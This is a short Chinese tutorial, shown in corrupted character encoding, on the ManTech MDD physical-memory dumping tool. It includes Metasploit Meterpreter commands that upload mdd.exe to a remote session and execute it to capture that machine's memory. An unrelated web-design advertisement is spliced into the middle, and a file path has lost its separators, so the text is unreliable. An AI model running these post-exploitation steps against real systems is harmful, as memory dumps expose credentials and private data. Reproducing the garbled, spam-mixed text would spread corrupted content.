ManTech MDD(http://www.mantech.com/msma/MDD.asp)是遵循GPL協(xié)議發(fā)布的，MDD可以復(fù)制以下微軟操作系統(tǒng)內(nèi)存的所有內(nèi)容：WINDOWS 2000, Windows XP, Windows 2003 Server, Windows 2008 Server。
為始興等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù)，及始興網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為做網(wǎng)站、網(wǎng)站制作、始興網(wǎng)站設(shè)計，以傳統(tǒng)方式定制建設(shè)網(wǎng)站，并提供域名空間備案等一條龍服務(wù)，秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求，就會得到認(rèn)可，從而選擇與我們長期合作。這樣，我們也可以走得更遠(yuǎn)！
從ManTech網(wǎng)站下載MDD后，你必須使用命令行來運(yùn)行MDD程序。
MDD命令行用法
mdd -o 輸出文件名
例如：
C:toolsmdd> mdd -o memory.dd
-> mdd

65404 map operations succeeded (1.00)
0 map operations failed

MD5 is: a48986bb0558498684414e9399ca19fc
輸出文件通常都會涉及鏡像，MDD的功能僅限于復(fù)制物理內(nèi)存，所以必須利用其他工具來分析內(nèi)存鏡像。
這里我們使用Metasploit Meterpreter和MDD共同來完成下面的工作。
首先需要更新MDD。
meterpreter > upload /root/mdd.exe .
[*] uploading : /root/mdd.exe -> .
[*] uploaded : /root/mdd.exe -> .mdd.exe
meterpreter > ls

這里，我們只需要毫不費(fèi)力的運(yùn)行工具，所需的數(shù)據(jù)將會被捕獲下來。
meterpreter > execute -f mdd.exe -a "-o demo.dd"

我們需要證實內(nèi)存鏡像已被捕獲。
